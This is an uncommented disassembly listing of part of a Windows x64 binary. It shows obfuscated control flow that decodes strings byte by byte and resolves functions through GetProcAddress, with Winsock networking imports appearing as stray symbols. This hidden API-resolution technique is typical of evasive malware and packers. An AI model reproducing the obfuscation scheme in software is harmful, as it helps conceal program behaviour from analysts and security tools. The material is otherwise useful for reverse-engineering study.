lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140067694
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140067658
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14006762d
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140067300
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 1]
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400675fe
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x1400675de
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400675c3
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x1400675a3
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140067586
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14006756b
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140067545
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14006751f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140067511
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140067300
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x7a]
jmp 0x140067300
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x1400672f0
lea edx, [r9 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140067290
add r9b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x14
jmp 0x140067220
lea edx, [r9 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140067b77
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
inc r8
dec r11
inc r11
jmp 0x140067206
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140067206
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x140067bd6
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x140067bf8
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140067bfb
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x140067c33
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140067c7e
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067206
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0xc0], dil
inc r11
jmp 0x140067206
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
cmp r8, 2
jb 0x140067648
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
mov edx, 0x1c
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140067b88
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
cmp rbx, 6
jae 0x140067acb
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x1400679ff
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x14006766e
lea edx, [r9 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x10
je 0x140067ae9
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140067954
lea ecx, [r9 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
jmp 0x1400676aa
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067206
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140067c7e
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x140067c33
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140067bfb
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x140067bf8
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x140067bd6
add r9b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140067206
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
inc r8
dec r11
inc r11
jmp 0x140067206
lea edx, [r9 + 0x18]
mov ecx, 0x2c
jmp 0x140067b77
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140067869
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x1400676f3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400678a1
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067206
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400678c9
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140067c33
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400678f2
add r9b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140067bf8
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006791e
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
dec r11
inc r11
jmp 0x140067206
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400676f3
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140067206
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006796b
lea edx, [r9 - 0x54]
mov ecx, 0x26
jmp 0x140067b77
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006799a
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140067206
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400679c3
sub r9b, 0xc
movzx eax, r9b
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140067bfb
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400676aa
sub r9b, 0x14
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x74
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067206
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140067a3a
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067206
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140067a5e
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x140067c33
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140067a84
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
jmp 0x140067bf8
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140067a9b
lea edx, [r9 - 0x28]
mov ecx, recv
jmp 0x140067bc5
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006766e
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
dec r11
inc r11
jmp 0x140067206
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x10
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140067bd6
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x78]
jmp 0x140067c33
sub r9b, 0x2c
movzx eax, r9b
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140067bfb
add r9b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x34
jmp 0x140067bf8
sub r9b, 0x24
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 4
dec r11
inc r11
jmp 0x140067206
lea edx, [r9 - 0x74]
mov ecx, socket
jmp 0x140067b77
movzx r9d, r11b
lea edx, [r9 + 0x3c]
mov ecx, 0x2e
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x34
movzx eax, r10b
and al, r9b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0xc0], cl
inc r8
dec r11
inc r11
jmp 0x140067206
movzx r9d, r11b
lea edx, [r9 + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x74
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x2c
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 + 0xc0], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140067206
lea rcx, [r11 + 0x8674c]
and sil, cl
add sil, sil
movzx edi, r10b
sub dil, sil
sub dil, 0x14
add dil, cl
movzx r9d, r11b
add r9b, 0x1c
movzx eax, r9b
and al, r10b
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0xc0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x140067c7e
lea rcx, [r11 + 0x600a4]
and sil, cl
add sil, sil
movzx edi, r10b
sub dil, sil
sub dil, 0x7c
add dil, cl
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x10
add cl, r10b
mov byte [rbp + r11 + 0xc0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067206
lea rcx, [r11 + 0x399fc]
and sil, cl
mov eax, select
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067206
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
jmp 0x140067203
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400671f3
lea rdx, [rbp + 0x14e7d30]
jmp 0x140067d49
lea rdx, [rbp + 0x10fb084]
jmp 0x140067d49
lea rdx, [rbp + 0xc0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x60], rax
mov byte [rbp + 0x2d0], 0x2f
mov byte [rbp + 0x2d1], select
mov byte [rbp + 0x2d2], 0
mov byte [rbp + 0x2d3], 0x4c
mov byte [rbp + 0x2d4], 0x1f
mov byte [rbp + 0x2d5], 6
mov byte [rbp + 0x2d6], 0x1a
mov byte [rbp + 0x2d7], 0x2a
mov byte [rbp + 0x2d8], gethostname
mov byte [rbp + 0x2d9], socket
mov byte [rbp + 0x2da], 3
mov byte [rbp + 0x2db], gethostname
mov byte [rbp + 0x2dc], socket
mov byte [rbp + 0x2dd], 0x26
mov byte [rbp + 0x2de], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x2df], 0x1c
mov byte [rbp + 0x2e0], 0x86
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2e1], xmm0
mov dword [rbp + 0x2f1], eax
movabs rsi, 0x45fc75ec3e89906d
movabs r15, 0x75e0254e32d613d5
movabs r12, 0xd1f561c4bb9cb147
movzx edi, byte [rbp + 0x410]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r11d, r11d
cmp r11, 0x25
jae 0x1400688fc
movzx r10d, byte [rbp + r11 + 0x2d0]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x1400688f3
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140067e6c
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 5
jmp 0x140067e99
je 0x140068887
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006885c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140068840
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400687f5
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x1400688ea
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140067ecd
lea ecx, [r9 - 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x69
jmp 0x140067f10
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400687dc
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400687b9
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140068799
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006877c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400686ee
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400684b3
nop dword [rax]
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140068494
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14006846b
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140068445
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140068426
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140068403
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400683e3
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400683c4
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400683a4
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140068372
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140067f20
lea rbx, [r8 + 5]
lea r8, [rbx + 5]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400688cd
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400688b0
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140068113
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x1400680f8
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400680dd
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140068322
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400682d3
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140068296
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14006826e
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140067f20
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14006823f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14006821f
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140068200
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400681e0
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400681bd
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14006819e
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140068178
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14006814f
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140068130
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140067f20
lea rbx, [r8 + 0x10]
lea r8, [rbx + 1]
jmp 0x140067f20
lea ecx, [r9 + 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x49
jmp 0x140067f10
lea ecx, [r9 + 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x53
jmp 0x140067ea0
add r9b, 0x7b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5d
jmp 0x140067e40
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140068813
sub r9b, 0x52
movzx eax, r9b
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140067e23
sub r9b, 0x2c
movzx eax, r9b
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140067e23
lea edx, [r9 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400686ac
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14006886e
add r9b, 0x46
movzx eax, r9b
and al, r10b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006886e
lea edx, [r9 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140068708
sub r9b, 0x6e
movzx eax, r9b
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140068735
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067e23
sub r9b, 0x69
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x21
mov byte [rbp + r11 + 0x2d0], dil
inc r11
jmp 0x140067e23
lea ecx, [r9 - 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2b
cmp r8, 0x10
jb 0x140068286
lea edx, [r9 + 0x6e]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 4]
jmp 0x140068813
lea ecx, [r9 - 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x35
cmp rbx, 0x1000
jae 0x140068693
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x140068606
lea edx, [r9 - 0x16]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x66
add dil, dl
jmp 0x1400682ac
lea ecx, [r9 + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3f
lea rax, [r8 + rbx]
cmp rax, 0x42
je 0x1400686d8
lea rax, [r8 + 5]
cmp rbx, rax
jbe 0x140068585
lea edx, [r9 - 7]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x31
add dil, dl
jmp 0x1400682e9
sub r9b, 0x5a
movzx eax, r9b
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067e23
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140068735
lea edx, [r9 - 0xe]
movzx eax, dl
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140068708
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006886e
add r9b, 0x3e
movzx eax, r9b
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14006886e
lea edx, [r9 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400686ac
sub r9b, 0x76
movzx eax, r9b
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140067e23
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140067e23
lea edx, [r9 - 0x2a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140068813
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x1400684d7
lea ecx, [r9 + 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 5
jmp 0x140068338
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006850f
sub r9b, 0x1e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2e
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067e23
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140068533
lea ecx, [r9 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
jmp 0x140068708
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006855c
add r9b, 0x4a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 6
add rbx, r8
jmp 0x14006886e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140068338
lea edx, [r9 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x1400686a9
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400685aa
lea edx, [r9 - 0x2d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x3b
jmp 0x140068810
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400685d9
sub r9b, 0x53
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x45
inc r8
dec r11
inc r11
jmp 0x140067e23
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400682e9
add r9b, 0x3b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x63
add rbx, r8
jmp 0x14006886e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006863e
sub r9b, 0x3c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x5c
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067e23
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006866a
sub r9b, 0x20
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x20
dec r11
inc r11
jmp 0x140067e23
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400682ac
lea edx, [r9 - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0xc
jmp 0x140068810
lea edx, [r9 + 0x48]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 4
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 0x4b
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0xd
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x2d0], cl
add rbx, r8
jmp 0x14006886e
lea edx, [r9 + 0x22]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140068705
lea edx, [r9 - 0x19]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x51
add dil, dl
sub r9b, 0x71
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x17
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x2d0], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 4]
movzx eax, r10b
and al, dl
mov ecx, select
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x2d0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067e23
add r9b, 0xd
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x5b
jmp 0x14006886e
add r9b, 0x33
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x65
add rbx, r8
jmp 0x14006886e
add r9b, 0x7f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x79
dec r11
inc r11
jmp 0x140067e23
lea edx, [r9 - 0x35]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x73
jmp 0x140068810
movzx r9d, r11b
lea edx, [r9 + 0x17]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x5f
add dil, dl
sub r9b, 0x25
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 3
add r10b, r9b
mov byte [rbp + r11 + 0x2d0], r10b
inc r8
dec r11
inc r11
jmp 0x140067e23
lea ecx, [r11 - 0x51]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x37
add rbx, r8
jmp 0x14006886e
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x2d
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140067e23
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0xf
movzx eax, byte [rbp + r11 + 0x2d0]
add rax, r8
add r11, rax
inc r11
jmp 0x140067e23
sub r9b, 0x5f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x67
jmp 0x140067e20
sub r9b, 0x39
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x71
jmp 0x140067e04
lea rdx, [rbp + 0x16d0c0c]
jmp 0x140068903
lea rdx, [rbp + 0x769c79]
jmp 0x140068903
lea rdx, [rbp + 0x2d0]
mov rcx, r14
